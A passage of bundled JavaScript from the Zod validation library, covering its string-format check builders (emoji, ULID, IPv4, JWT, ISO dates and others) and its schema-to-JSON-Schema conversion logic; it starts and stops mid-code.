_emoji(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"emoji\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _nanoid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"nanoid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link _cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\n// @__NO_SIDE_EFFECTS__\nfunction _cuid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"cuid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cuid2(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"cuid2\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ulid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"ulid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _xid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"xid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ksuid(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"ksuid\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv4(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"ipv4\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv6(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"ipv6\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv4(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"cidrv4\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv6(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"cidrv6\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"base64\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64url(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"base64url\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _e164(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"e164\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _jwt(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"jwt\",\n		check: \"string_format\",\n		abort: false,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDateTime(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"datetime\",\n		check: \"string_format\",\n		offset: false,\n		local: false,\n		precision: null,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDate(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"date\",\n		check: \"string_format\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoTime(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"time\",\n		check: \"string_format\",\n		precision: null,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDuration(Class, params) {\n	return new Class({\n		type: \"string\",\n		format: \"duration\",\n		check: \"string_format\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _unknown(Class) {\n	return new Class({ type: \"unknown\" });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _never(Class, params) {\n	return new Class({\n		type: \"never\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _maxLength(maximum, params) {\n	return new $ZodCheckMaxLength({\n		check: \"max_length\",\n		...normalizeParams(params),\n		maximum\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _minLength(minimum, params) {\n	return new $ZodCheckMinLength({\n		check: \"min_length\",\n		...normalizeParams(params),\n		minimum\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _length(length, params) {\n	return new $ZodCheckLengthEquals({\n		check: \"length_equals\",\n		...normalizeParams(params),\n		length\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _regex(pattern, params) {\n	return new $ZodCheckRegex({\n		check: \"string_format\",\n		format: \"regex\",\n		...normalizeParams(params),\n		pattern\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _lowercase(params) {\n	return new $ZodCheckLowerCase({\n		check: \"string_format\",\n		format: \"lowercase\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uppercase(params) {\n	return new $ZodCheckUpperCase({\n		check: \"string_format\",\n		format: \"uppercase\",\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _includes(includes, params) {\n	return new $ZodCheckIncludes({\n		check: \"string_format\",\n		format: \"includes\",\n		...normalizeParams(params),\n		includes\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _startsWith(prefix, params) {\n	return new $ZodCheckStartsWith({\n		check: \"string_format\",\n		format: \"starts_with\",\n		...normalizeParams(params),\n		prefix\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _endsWith(suffix, params) {\n	return new $ZodCheckEndsWith({\n		check: \"string_format\",\n		format: \"ends_with\",\n		...normalizeParams(params),\n		suffix\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _overwrite(tx) {\n	return new $ZodCheckOverwrite({\n		check: \"overwrite\",\n		tx\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _normalize(form) {\n	return /* @__PURE__ */ _overwrite((input) => input.normalize(form));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _trim() {\n	return /* @__PURE__ */ _overwrite((input) => input.trim());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toLowerCase() {\n	return /* @__PURE__ */ _overwrite((input) => input.toLowerCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toUpperCase() {\n	return /* @__PURE__ */ _overwrite((input) => input.toUpperCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _slugify() {\n	return /* @__PURE__ */ _overwrite((input) => slugify(input));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _array(Class, element, params) {\n	return new Class({\n		type: \"array\",\n		element,\n		...normalizeParams(params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _refine(Class, fn, _params) {\n	return new Class({\n		type: \"custom\",\n		check: \"custom\",\n		fn,\n		...normalizeParams(_params)\n	});\n}\n// @__NO_SIDE_EFFECTS__\nfunction _superRefine(fn, params) {\n	const ch = /* @__PURE__ */ _check((payload) => {\n		payload.addIssue = (issue$2) => {\n			if (typeof issue$2 === \"string\") payload.issues.push(issue(issue$2, payload.value, ch._zod.def));\n			else {\n				const _issue = issue$2;\n				if (_issue.fatal) _issue.continue = false;\n				_issue.code ?? (_issue.code = \"custom\");\n				if (!(\"input\" in _issue)) _issue.input = payload.value;\n				_issue.inst ?? (_issue.inst = ch);\n				_issue.continue ?? (_issue.continue = !ch._zod.def.abort);\n				payload.issues.push(issue(_issue));\n			}\n		};\n		return fn(payload.value, payload);\n	}, params);\n	return ch;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _check(fn, params) {\n	const ch = new $ZodCheck({\n		check: \"custom\",\n		...normalizeParams(params)\n	});\n	ch._zod.check = fn;\n	return ch;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/to-json-schema.js\nfunction assignProps(target, ...sources) {\n	for (const source of sources) for (const key of Reflect.ownKeys(source)) if (Object.prototype.propertyIsEnumerable.call(source, key)) assignProp(target, key, source[key]);\n	return target;\n}\nfunction initializeContext(params) {\n	let target = params?.target ?? \"draft-2020-12\";\n	if (target === \"draft-4\") target = \"draft-04\";\n	if (target === \"draft-7\") target = \"draft-07\";\n	return {\n		processors: params.processors ?? {},\n		metadataRegistry: params?.metadata ?? globalRegistry,\n		target,\n		unrepresentable: params?.unrepresentable ?? \"throw\",\n		override: params?.override ?? (() => {}),\n		io: params?.io ?? \"output\",\n		counter: 0,\n		seen: /* @__PURE__ */ new Map(),\n		sharedDefsExtractedFor: void 0,\n		sharedEmitDoneFor: void 0,\n		cycles: params?.cycles ?? \"ref\",\n		reused: params?.reused ?? \"inline\",\n		intersections: [],\n		deferred: [],\n		external: params?.external ?? void 0\n	};\n}\n/**\n* Applies the `unrepresentable` setting at a site that has no JSON Schema equivalent. Throws\n* `message` unless the setting (or the handler's return value) says otherwise. Returns `true` if a\n* custom JSON Schema was written into `json`, in which case the caller must not write its own.\n*/\nfunction handleUnrepresentable(schema, ctx, json, params, message) {\n	const result = typeof ctx.unrepresentable === \"function\" ? ctx.unrepresentable({\n		zodSchema: schema,\n		path: params.path,\n		message\n	}) : ctx.unrepresentable;\n	if (result === \"any\") return false;\n	if (result === void 0 || result === \"throw\") throw new Error(message);\n	Object.assign(json, result);\n	return true;\n}\nfunction processSchema(schema, ctx, _params = {\n	path: [],\n	schemaPath: []\n}) {\n	var _a;\n	const def = schema._zod.def;\n	const seen = ctx.seen.get(schema);\n	if (seen) {\n		seen.count++;\n		if (_params.schemaPath.includes(schema)) seen.cycle = _params.path;\n		return seen.schema;\n	}\n	const result = {\n		schema: {},\n		count: 1,\n		cycle: void 0,\n		path: _params.path\n	};\n	ctx.seen.set(schema, result);\n	ctx.sharedDefsExtractedFor = void 0;\n	ctx.sharedEmitDoneFor = void 0;\n	const overrideSchema = schema._zod.toJSONSchema?.();\n	if (overrideSchema) result.schema = overrideSchema;\n	else {\n		const params = {\n			..._params,\n			schemaPath: [..._params.schemaPath, schema],\n			path: _params.path\n		};\n		if (schema._zod.processJSONSchema) schema._zod.processJSONSchema(ctx, result.schema, params);\n		else {\n			const _json = result.schema;\n			const processor = ctx.processors[def.type];\n			if (!processor) throw new Error(`[toJSONSchema]: Non-representable type encountered: ${def.type}`);\n			processor(schema, ctx, _json, params);\n		}\n		const parent = schema._zod.parent;\n		if (parent) {\n			if (!result.ref) result.ref = parent;\n			processSchema(parent, ctx, params);\n			ctx.seen.get(parent).isParent = true;\n		}\n	}\n	const meta = ctx.metadataRegistry.get(schema);\n	if (meta) assignProps(result.schema, meta);\n	if (ctx.io === \"input\" && isTransforming(schema)) {\n		delete result.schema.examples;\n		delete result.schema.default;\n	}\n	if (ctx.io === \"input\" && \"_prefault\" in result.schema) (_a = result.schema).default ?? (_a.default = result.schema._prefault);\n	delete result.schema._prefault;\n	return ctx.seen.get(schema).schema;\n}\nfunction encodeJSONPointerSegment(segment) {\n	return segment.replace(/~/g, \"~0\").replace(/\\//g, \"~1\");\n}\nfunction extractDefs(ctx, schema) {\n	const root = ctx.seen.get(schema);\n	if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n	if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) return;\n	const idToSchema = /* @__PURE__ */ new Map();\n	for (const entry of ctx.seen.entries()) {\n		const id = ctx.metadataRegistry.get(entry[0])?.id;\n		if (id) {\n			const existing = idToSchema.get(id);\n			if (existing && existing !== entry[0]) throw new Error(`Duplicate schema id \"${id}\" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);\n			idToSchema.set(id, entry[0]);\n		}\n	}\n	const makeURI = (entry) => {\n		const defsSegment = ctx.target === \"draft-2020-12\" ? \"$defs\" : \"definitions\";\n		if (ctx.external) {\n			const externalId = ctx.external.registry.get(entry[0])?.id;\n			const uriGenerator = ctx.external.uri ?? ((id) => id);\n			if (externalId) return { ref: uriGenerator(externalId) };\n			const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`;\n			entry[1].defId = id;\n			return {\n				defId: id,\n				ref: `${uriGenerator(\"__shared\")}#/${defsSegment}/${encodeJSONPointerSegment(id)}`\n			};\n		}\n		const uriPrefix = `#`;\n		const defUriPrefix = `${uriPrefix}/${defsSegment}/`;\n		if (entry[1] === root && !entry[1].schema.id) return { ref: uriPrefix };\n		const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`;\n		return {\n			defId,\n			ref: defUriPrefix + encodeJSONPointerSegment(defId)\n		};\n	};\n	const extractToDef = (entry) => {\n		if (entry[1].schema.$ref) return;\n		const seen = entry[1];\n		const { ref, defId } = makeURI(entry);\n		seen.def = { ...seen.schema };\n		if (defId) seen.defId = defId;\n		const schema = seen.schema;\n		for (const key in schema) delete schema[key];\n		schema.$ref = ref;\n	};\n	if (ctx.cycles === \"throw\") for (const entry of ctx.seen.entries()) {\n		const seen = entry[1];\n		if (seen.cycle) throw new Error(`Cycle detected: #/${seen.cycle?.join(\"/\")}/<root>\n\nSet the \\`cycles\\` parameter to \\`\"ref\"\\` to resolve cyclical schemas with defs.`);\n	}\n	for (const entry of ctx.seen.entries()) {\n		const seen = entry[1];\n		if (schema === entry[0]) {\n			extractToDef(entry);\n			continue;\n		}\n		if (ctx.external) {\n			const ext = ctx.external.registry.get(entry[0])?.id;\n			if (schema !== entry[0] && ext) {\n				extractToDef(entry);\n				continue;\n			}\n		}\n		if (ctx.metadataRegistry.get(entry[0])?.id) {\n			extractToDef(entry);\n			continue;\n		}\n		if (seen.cycle) {\n			extractToDef(entry);\n			continue;\n		}\n		if (seen.count > 1) {\n			if (ctx.reused === \"ref\") extractToDef(entry);\n		}\n	}\n	if (ctx.external) ctx.sharedDefsExtractedFor = ctx.external;\n}\n/** Rewrites `anyOf: [{type: \"a\"}, {type: \"b\"}]` to `type: [\"a\", \"b\"]`, which every JSON Schema draft treats as equivalent and most consumers render far better for the nullable case. Only branches that are a bare type assertion qualify — anything carrying a constraint, `$ref`, `const` or metadata is left alone. Runs after `flattenRef`, so a branch an override decorated or `$defs` extraction turned into a `$ref` is no longer bare and correctly stays in `anyOf`. `oneOf` is excluded: `integer` and `number` overlap, so \"exactly one\" and \"at least one\" are not the same there. OpenAPI 3.0 is excluded: its `type` must be a single string. */\nfunction compactTypeUnion(schema) {\n	const options = schema.anyOf;\n	if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) return;\n	const types = [];\n	for (const option of options) {\n		if (!option || typeof option !== \"object\") return;\n		compactTypeUnion(option);\n		const keys = Object.keys(option);\n		if (keys.length !== 1 || keys[0] !== \"type\") return;\n		const type = option.type;\n		for (const member of Array.isArray(type) ? type : [type]) {\n			if (typeof member !== \"string\") return;\n			if (!types.includes(member)) types.push(member);\n		}\n	}\n	delete schema.anyOf;\n	schema.type = types.length === 1 ? types[0] : types;\n}\n/** Keywords `foldIntersection` knows how to combine. Anything else — `$ref`, `patternProperties`,\n* an annotation like `description` — makes a member unfoldable, so a constraint this does not\n* understand leaves the `allOf` alone instead of being silently dropped or misattributed. */\nconst FOLDABLE_KEYS = /* @__PURE__ */ new Set([\n	\"type\",\n	\"properties\",\n	\"required\",\n	\"additionalProperties\"\n]);\nconst UNION_KEYS = [\"oneOf\", \"anyOf\"];\n/** A member's constraint on a key it does not declare itself. A `catchall` states one; `false`, an absent `additionalProperties`, and the empty schema a loose object emits state nothing. */\nfunction undeclaredConstraint(member) {\n	const extra = member.additionalProperties;\n	if (extra === void 0 || extra === false || typeof extra !== \"object\" || extra === null) return null;\n	return Object.keys(extra).length ? extra : null;\n}\n/** Combines object members into the single object they describe together, or returns `null` if any of them carries a keyword outside {@link FOLDABLE_KEYS}. */\nfunction foldObjects(members) {\n	const objects = [];\n	for (const member of members) {\n		if (typeof member !== \"object\" || member.type !== \"object\") return null;\n		for (const key in member) if (!FOLDABLE_KEYS.has(key)) return null;\n		objects.push(member);\n	}\n	const properties = {};\n	const required = /* @__PURE__ */ new Set();\n	for (const object of objects) {\n		for (const key in object.properties) {\n			if (Object.prototype.hasOwnProperty.call(properties, key)) continue;\n			const parts = [];\n			for (const other of objects) {\n				const part = other.properties?.[key] ?? undeclaredConstraint(other);\n				if (part === null || part === void 0) continue;\n				if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) parts.push(part);\n			}\n			const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts };\n			assignProp(properties, key, merged);\n		}\n		for (const key of object.required ?? []) required.add(key);\n	}\n	const folded = {\n		type: \"object\",\n		properties\n	};\n	if (required.size) folded.required = [...required];\n	if (objects.every((object) => object.additionalProperties === false)) folded.additionalProperties = false;\n	else {\n		const constraints = [];\n		for (const object of objects) {\n			const constraint = undeclaredConstraint(object);\n			if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) constraints.push(constraint);\n		}\n		if (constraints.length === 1) folded.additionalProperties = constraints[0];\n		else if (constraints.length > 1) folded.additionalProperties = { allOf: constraints };\n	}\n	return folded;\n}\n/** `additionalProperties` in an `allOf` member sees only that member's own `properties`, so two\n* closed object members reject each other's keys and the schema validates nothing. Zod's parser\n* pools the key sets instead — `handleIntersectionResults` reports a key as unrecognized only when\n* *every* side rejects it — so the emitted schema has to pool them too, and folding the members\n* into one object is the encoding that says so on every target.\n*\n* This runs from `finalize`, after `extractDefs`, which is what keeps it clear of the `$ref`\n* machinery: a member extracted into `$defs` is already a `$ref` by now and declines to fold, so it\n* keeps its reference and its own closedness rather than being inlined as a stale copy. */\nfunction foldIntersection(json) {\n	const allOf = json.allOf;\n	if (!Array.isArray(allOf) || allOf.length < 2) return;\n	for (const key of FOLDABLE_KEYS) if (key in json) return;\n	const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k])));\n	let folded = null;\n	if (!unions.length) folded = foldObjects(allOf);\n	else {\n		const union = unions[0];\n		const keyword = UNION_KEYS.find((k) => Array.isArray(union[k]));\n		if (Object.keys(union).length !== 1) return;\n		const rest = allOf.filter((m) => m !== union);\n		const branches = union[keyword].map((branch) => foldObjects([...rest, branch]));\n		if (branches.some((b) => !b)) return;\n		folded = { [keyword]: branches };\n	}\n	if (!folded) return;\n	delete json.allOf;\n	assignProps(json, folded);\n}\nfunction finalize(ctx, schema) {\n	const root = ctx.seen.get(schema);\n	if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n	const flattenRef = (zodSchema) => {\n		const seen = ctx.seen.get(zodSchema);\n		if (seen.ref === null) return;\n		const schema = seen.def ?? seen.schema;\n		const _cached = { ...schema };\n		const ref = seen.ref;\n		seen.ref = null;\n		if (ref) {\n			flattenRef(ref);\n			const refSeen = ctx.seen.get(ref);\n			const refSchema = refSeen.schema;\n			if (refSchema.$ref && (ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\")) {\n				schema.allOf = schema.allOf ?? [];\n				schema.allOf.push(refSchema);\n			} else assignProps(schema, refSchema);\n			assignProps(schema, _cached);\n			if (zodSchema._zod.parent === ref) for (const key in schema) {\n				if (key === \"$ref\" || key === \"allOf\") continue;\n				if (!(key in _cached)) delete schema[key];\n			}\n			if (refSchema.$ref && refSeen.def) for (const key in schema) {\n				if (key === \"$ref\" || key === \"allOf\") continue;\n				if (key in refSeen.def && JSON.stringify(schema[key]) === JSON.stringify(refSeen.def[key])) delete schema[key];\n			}\n		}\n		const parent = zodSchema._zod.parent;\n		if (parent && parent !== ref) {\n			flattenRef(parent);\n			const parentSeen = ctx.seen.get(parent);\n			if (parentSeen?.schema.$ref) {\n				schema.$ref = parentSeen.schema.$ref;\n				if (parentSeen.def) for (const key in schema) {\n					if (key === \"$ref\" || key === \"allOf\") continue;\n					if (key in parentSeen.def && JSON.stringify(schema[key]) === JSON.stringify(parentSeen.def[key])) delete schema[key];\n				}\n			}\n		}\n		ctx.override({\n			zodSchema,\n			jsonSchema: schema,\n			path: seen.path ?? []\n		});\n	};\n	if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) {\n		for (const entry of [...ctx.seen.entries()].reverse()) flattenRef(entry[0]);\n		if (ctx.target !== \"openapi-3.0\") for (const entry of ctx.seen.entries()) compactTypeUnion(entry[1].def ?? entry[1].schema);\n		for (const rewrite of ctx.deferred) rewrite();\n		if (ctx.intersections.length) {\n			const carriers = /* @__PURE__ */ new Map();\n			for (const seen of ctx.seen.values()) for (const json of [seen.schema, seen.def]) {\n				const allOf = json?.allOf;\n				if (!Array.isArray(allOf)) continue;\n				const existing = carriers.get(allOf);\n				if (existing) existing.push(json);\n				else carriers.set(allOf, [json]);\n			}\n			for (const allOf of ctx.intersections) for (const json of carriers.get(allOf) ?? []) foldIntersection(json);\n		}\n	}\n	const result = {};\n	if (ctx.target === \"draft-2020-12\") result.$schema = \"https://json-schema.org/draft/2020-12/schema\";\n	else if (ctx.target === \"draft-07\") result.$schema = \"http://json-schema.org/draft-07/schema#\";\n	else if (ctx.target === \"draft-04\") result.$schema = \"http://json-schema.org/draft-04/schema#\";\n	else if (ctx.target === \"openapi-3.0\") {}\n	if (ctx.external?.uri) {\n		const id = ctx.external.registry.get(schema)?.id;\n		if (!id) throw new Error(\"Schema is missing an `id` property\");\n		result.$id = ctx.external.uri(id);\n	}\n	assignProps(result, root.defId ? root.schema : root.def ?? root.schema);\n	const rootMetaId = ctx.metadataRegistry.get(schema)?.id;\n	if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id;\n	const defs = ctx.external?.defs ?? {};\n	if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) for (const entry of ctx.seen.entries()) {\n		const seen = entry[1];\n		if (seen.def && seen.defId) {\n			if (seen.def.id === seen.defId) delete seen.def.id;\n			assignProp(defs, seen.defId, seen.def);\n		}\n	}\n	if (ctx.external) ctx.sharedEmitDoneFor = ctx.external;\n	if (ctx.external) {} else if (Object.keys(defs).length > 0) {\n		if (ctx.target === \"draft-2020-12\") result.$defs = defs;\n		else result.definitions = defs;\n	}\n	try {\n		const finalized = JSON.parse(JSON.stringify(result));\n		Object.defineProperty(finalized, \"~standard\", {\n			value: {\n				...schema[\"~standard\"],\n				jsonSchema: {\n					input: createStandardJSONSchemaMethod(schema, \"input\", ctx.processors),\n					output: createStandardJSONSchemaMethod(schema, \"output\", ctx.processors)\n				}\n			},\n			enumerable: false,\n			writable: false\n		});\n		return finalized;\n	} catch (_err) {\n		throw new Error(\"Error converting schema to JSON.\");\n	}\n}\nfunction isTransforming(_schema, _ctx) {\n	const ctx = _ctx ?? { seen: /* @__PURE__ */ new Set() };\n	if (ctx.seen.has(_schema)) return false;\n	ctx.seen.add(_schema);\n	const def = _schema._zod.def;\n	if (def.type === \"transform\") return true;\n	if (def.type === \"array\") return isTransforming(def.element, ctx);\n	if (def.type === \"set\") return isTransforming(def.valueType, ctx);\n	if (def.type === \"lazy\") return isTransforming(def.getter(), ctx);\n	if (def.type === \"promise\" || def.type === \"optional\" || def.type === \"nonoptional\" || def.type === \"nullable\" || def.type === \"readonly\" || def.type === \"default\" || def.type === \"prefault\" || def.type === \"catch\") return isTransforming(def.innerType, ctx);\n	if (def.type === \"intersection\") return isTransforming(def.left, ctx) || isTransforming(def.right, ctx);\n	if (def.type === \"record\" || def.type === \"map\") return isTransforming(def.keyType, ctx) || isTransforming(def.valueType, ctx);\n	if (def.type === \"pipe\") {\n		if (_schema._zod.traits.has(\"$ZodCodec\")) return true;\n		return isTransforming(def.in, ctx) || isTransforming(def.out, ctx);\n	}\n	if (def.type === \"object\") {\n		for (const key in def.shape) if (isTransforming(def.shape[key], ctx)) return true;\n		return false;\n	}\n	if (def.type === \"union\") {\n		for (const option of def.options) if (isTransforming(option, ctx)) return true;\n		return false;\n	}\n	if (def.type === \"tuple\") {\n		for (const item of def.items) if (isTransforming(item, ctx)) return true;\n		if (def.rest && isTransforming(def.rest, ctx)) return true;\n		return false;\n	}\n	return false;\n}\n/**\n* Creates a toJSONSchema method for a schema instance.\n* This encapsulates the logic of initializing context, processing, extracting defs, and finalizing.\n*/\nconst createToJSONSchemaMethod = (schema, processors = {}) => (params) => {\n	const ctx = initializeContext({\n		...params,\n		processors\n	});\n	processSchema(schema, ctx);\n	extractDefs(ctx, schema);\n	return finalize(ctx, schema);\n};\nconst createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => {\n	const { libraryOptions, target } = params ?? {};\n	const ctx = initializeContext({\n		...libraryOptions ?? {},\n		target,\n		io,\n		processors\n	});\n	processSchema(schema, ctx);\n	extractDefs(ctx, schema);\n	return finalize(ctx, schema);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/json-schema-processors.js\nconst narrowMin = (agg, key, value) => {\n	if (agg[key] === void 0 || value > agg[key]) agg[key] = value;\n};\nconst narrowMax = (agg, key, value) => {\n	if (agg[key] === void 0 || value < agg[key]) agg[key] = value;\n};\nconst narrowBoth = (agg, value) => {\n	narrowMin(agg, \"minimum\", value);\n	narrowMax(agg, \"maximum\", value);\n};\nconst addDivisor = (agg, value) => {\n	agg.multipleOf ?? (agg.multipleOf = []);\n	if (!agg.multipleOf.includes(value)) agg.multipleOf.push(value);\n};\nconst addPattern = (agg, pattern) => {\n	agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set());\n	agg.patterns.add(pattern);\n};\nconst intersectMime = (agg, mime) => {\n	agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime];\n};\nconst setFormat = (agg, format) => {\n	agg.format = format;\n	if (format.includes(\"int\")) agg.isInt = true;\n};\nconst minContributor = (agg, def) => narrowMin(agg, \"minimum\", def.minimum);\nconst maxContributor = (agg, def) => narrowMax(agg, \"maximum\", def.maximum);\nconst formatContributor = (ranges) => (agg, def) => {\n	setFormat(agg, def.format);\n	const [minimum, maximum] = ranges[def.format];\n	narrowMin(agg, \"minimum\", minimum);\n	narrowMax(agg, \"maximum\", maximum);\n};\nconst contributors = {\n	greater_than: (agg, def) => narrowMin(agg, def.inclusive ? \"minimum\" : \"exclusiveMinimum\", def.value),\n	less_than: (agg, def) => narrowMax(agg, def.inclusive ? \"maximum\" : \"exclusiveMaximum\", def.value),\n	multiple_of: (agg, def) => addDivisor(agg, def.value),\n	number_format: formatContributor(NUMBER_FORMAT_RANGES),\n	bigint_format: formatContributor(BIGINT_FORMAT_RANGES),\n	min_length: minContributor,\n	max_length: maxContributor,\n	length_equals: (agg, def) => narrowBoth(agg, def.length),\n	min_size: minContributor,\n	max_size: maxContributor,\n	size_equals: (agg, def) => narrowBoth(agg, def.size),\n	string_format: (agg, def) => {\n		setFormat(agg, def.format);\n		if (def.pattern) addPattern(agg, def.pattern);\n		if (def.format === \"base64\" || def.format === \"base64url\") agg.contentEncoding = def.format;\n		if (def.local || def.precision === -1) agg.laxFormat = true;\n	},\n	mime_type: (agg, def) => intersectMime(agg, def.mime)\n};\nfunction aggregateChecks(schema) {\n	const agg = {};\n	const def = schema._zod.def;\n	const list = schema._zod.traits.has(\"$ZodCheck\") ? [schema, ...def.checks ?? []] : def.checks ?? [];\n	for (const ch of list) contributors[ch._zod.def.check]?.(agg, ch._zod.def);\n	const bag = schema._zod.bag;\n	if (bag.minimum !== void 0) narrowMin(agg, \"minimum\", bag.minimum);\n	if (bag.exclusiveMinimum !== void 0) narrowMin(agg, \"exclusiveMinimum\", bag.exclusiveMinimum);\n	if (bag.maximum !== void 0) narrowMax(agg, \"maximum\", bag.maximum);\n	if (bag.exclusiveMaximum !== void 0) narrowMax(agg, \"exclusiveMaximum\", bag.exclusiveMaximum);\n	if (bag.multipleOf !== void 0) addDivisor(agg, bag.multipleOf);\n	if (bag.format !== void 0) {\n		agg.format ?? (agg.format = bag.format);\n		if (bag.format.includes(\"int\")) agg.isInt = true;\n	}\n	if (bag.mime) intersectMime(agg, bag.mime);\n	for (const pattern of bag.patterns ?? []) addPattern(agg, pattern);\n	return agg;\n}\nconst formatMap = {\n	guid: \"uuid\",\n	url: \"uri\",\n	datetime: \"date-time\",\n	json_string: \"json-string\",\n	regex: \"\"\n};\nconst exactPatterns = /* @__PURE__ */ new Map([[base64Charset, base64], [base64urlCharset, base64url]]);\nconst exactPattern = (p) => exactPatterns.get(p) ?? p;\nconst stringProcessor = (schema, ctx, _json, _params) => {\n	const json = _json;\n	json.type = \"string\";\n	const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema);\n	if (typeof minimum === \"number\") json.minLength = minimum;\n	if (typeof maximum === \"number\") json.maxLength = maximum;\n	if (format) {\n		json.format = formatMap[format] ?? format;\n		if (json.format === \"\") delete json.format;\n		if (format === \"time\" || laxFormat) delete json.format;\n	}\n	if (contentEncoding) json.contentEncoding = contentEncoding;\n	if (patterns && patterns.size > 0) {\n		const patternList = [...patterns].map(exactPattern);\n		if (patternList.length === 1) json.pattern = patternList[0].source;\n		else if (patternList.length > 1) json.allOf = [...patternList.map((regex) => ({\n			...ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\" ? { type: \"string\" } : {},\n			pattern: regex.source\n		}))];\n	}\n};\nconst neverProcessor = (_schema, _ctx, json, _params) => {\n	json.not = {};\n};\nconst unknownProcessor = (_schema, _ctx, _json, _params) => {};\nconst enumProcessor = 